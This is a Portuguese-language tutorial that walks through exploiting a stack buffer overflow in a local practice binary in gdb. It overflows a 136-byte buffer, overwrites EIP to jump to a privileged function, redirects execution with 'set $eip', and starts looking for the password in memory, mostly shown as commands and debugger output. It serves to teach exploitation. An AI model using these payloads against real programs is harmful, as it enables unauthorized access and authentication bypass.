O Buffer Overflow basicamente ocorre quando o programador aloca um determinado tamanho de buffer para uma variável que irá receber uma entrada do usuário e é passado um valor maior do que foi definido, fazendo assim "transbordar" o buffer e sobrescrever outros endereços da memória.
Explorando o binário
Iremos agora analisar um binário para explorar, sem ter acesso ao código fonte.
Para começar, podemos tentar enviar 300 bytes para ver como que o programa se comporta.
$ python3 -c 'print("A" * 300)' | ./protegido
Entre com a senha: Acesso Negado
[1] 1319 done python3 -c 'print("A" * 300)' |
1320 segmentation fault ./protegido
Podemos já perceber que ocorre o "segmentation fault".
Vamos debugar o programa e exibir suas funções com o comando info functions (o parâmetro -q é para o gdb não exibir algumas informações iniciais).
Podemos observar que no endereço 0x56556213 da função verifica, é feito uma alocação de um espaço para um buffer de 0x88 que são 136 bytes. Com isso já facilita bastante para sabermos quantos bytes enviar corretamente.
$ python3 -c 'print(0x88)'136
Enviando os bytes
(gdb) run <<(python3 -c 'print("A" * 136)')
Analisando os registradores, podemos ver que enviamos o suficiente para "quase" atingir o ebp e o eip.
(gdb) run <<(python3 -c 'print("A" * 136 + "BBBB" + "CCCC")')The program being debugged has been started already.Start it from the beginning? (y or n) yStarting program:/home/user/Desktop/bof/protegido <<(python3 -c 'print("A" * 136 + "BBBB" + "CCCC")')Breakpoint 1,0x5655621finverifica ()(gdb) i reax 0xffffd0d0-12080ecx 0xf7fa2580-134601344edx 0xfbad2088-72540024ebx 0x565590001448448000esp 0xffffd0c00xffffd0c0ebp 0xffffd1580xffffd158esi 0x11edi 0x565560b01448435888eip 0x5655621f0x5655621f<verifica+54>eflags 0x246 [ PF ZF IF ]cs 0x2335ss 0x2b43ds 0x2b43es 0x2b43fs 0x00gs 0x6399(gdb) x/16xw $esp0xffffd0c0:0xffffd0d00xf7ffdb980xffffd1440x565561f80xffffd0d0:0x414141410x414141410x414141410x414141410xffffd0e0:0x414141410x414141410x414141410x414141410xffffd0f0:0x414141410x414141410x414141410x41414141(gdb) 0xffffd100:0x414141410x414141410x414141410x414141410xffffd110:0x414141410x414141410x414141410x414141410xffffd120:0x414141410x414141410x414141410x414141410xffffd130:0x414141410x414141410x414141410x41414141(gdb) 0xffffd140:0x414141410x414141410x414141410x414141410xffffd150:0x414141410x414141410x424242420x434343430xffffd160:0xffffd1000x000000000x000000000xf7dd59050xffffd170:0x000000010x565560b00x000000000xf7dd5905(gdb)
Com isso, podemos chamar a função acessa (que possui o endereço 0x56556270) que fica dentro da função main. Em seguida podemos analisar a memória e verificar se o EIP está sobrescrito com a função, em seguida só precisamos continuar o programa com sua execução.
(gdb) run <<(python3 -c 'print("A" * 136 + "BBBB" + "\x70\x62\x55\x56")')The program being debugged has been started already.Start it from the beginning? (y or n) yStarting program:/home/user/Desktop/bof/protegido <<(python3 -c 'print("A" * 136 + "BBBB" + "\x70\x62\x55\x56")')Breakpoint 1,0x5655621finverifica ()(gdb) x/16xw $esp0xffffd0c0:0xffffd0d00xf7ffdb980xffffd1440x565561f80xffffd0d0:0x414141410x414141410x414141410x414141410xffffd0e0:0x414141410x414141410x414141410x414141410xffffd0f0:0x414141410x414141410x414141410x41414141(gdb) 0xffffd100:0x414141410x414141410x414141410x414141410xffffd110:0x414141410x414141410x414141410x414141410xffffd120:0x414141410x414141410x414141410x414141410xffffd130:0x414141410x414141410x414141410x41414141(gdb) 0xffffd140:0x414141410x414141410x414141410x414141410xffffd150:0x414141410x414141410x424242420x565562700xffffd160:0xffffd1000x000000000x000000000xf7dd59050xffffd170:0x000000010x565560b00x000000000xf7dd5905(gdb) cContinuing.Entre com a senha: Acesso NegadoBem vindo! [Detaching after vfork from child process 2404]uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),120(wireshark),124(bluetooth),136(scanner),145(kaboxer)
Program received signal SIGSEGV, Segmentation fault.0x5655628einverifica ()
Truques no debugger
Se soubermos qual endereço que precisamos ir diretamente, podemos direcionar o programa para isso no debugger.
Se quisermos alterar o fluxo do programa, basta utilizarmos (o endereço 0x56556270 é da função verifica)
(gdb) set $eip =0x56556270(gdb) i reax 0xf7fa49e8-134592024ecx 0xffffd180-11904edx 0xffffd1b4-11852ebx 0x00esp 0xffffd1600xffffd160ebp 0xffffd1680xffffd168esi 0x11edi 0x565560b01448435888eip 0x565562700x56556270<verifica+135>eflags 0x282 [ SF IF ]cs 0x2335ss 0x2b43ds 0x2b43es 0x2b43fs 0x00gs 0x6399(gdb) cContinuing.Bem vindo! [Detaching after vfork from child process 1644]uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),120(wireshark),124(bluetooth),136(scanner),145(kaboxer)
Agora, vamos tentar descobrir qual é a senha que o sistema está comparando. Antes da comparação, que é a função verifica, precisamos colocar um breakpoint para analisar a memória e tentarmos descobrir qual é a string que está sendo feito a comparação. Iremos utilizar o endereço 0x5655626e que fica antes da função verifica.
(gdb) b* 0x5655626e
Breakpoint 1 at 0x5655626e
The program has no registers now.
(gdb) run
Starting program: /home/user/Desktop/bof/protegido
Entre com a senha: 1
Breakpoint 1, 0x5655626e in verifica ()
(gdb) i r
eax 0xffffffff -1
ecx 0x70 112
edx 0xffffd0d0 -12080
ebx 0x56559000 1448448000
esp 0xffffd0d0 0xffffd0d0
ebp 0xffffd158 0xffffd158
esi 0x1 1
edi 0x565560b0 1448435888
eip 0x5655626e 0x5655626e <verifica+133>
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x/20s $eip
0x5655626e <verifica+133>: "u\a\350\036"
0x56556273 <verifica+138>: ""
0x56556274 <verifica+139>: ""
0x56556275 <verifica+140>: "\353\022\203\354\f\215\203E\340\377\377P\350\332\375\377\377\203\304\020\270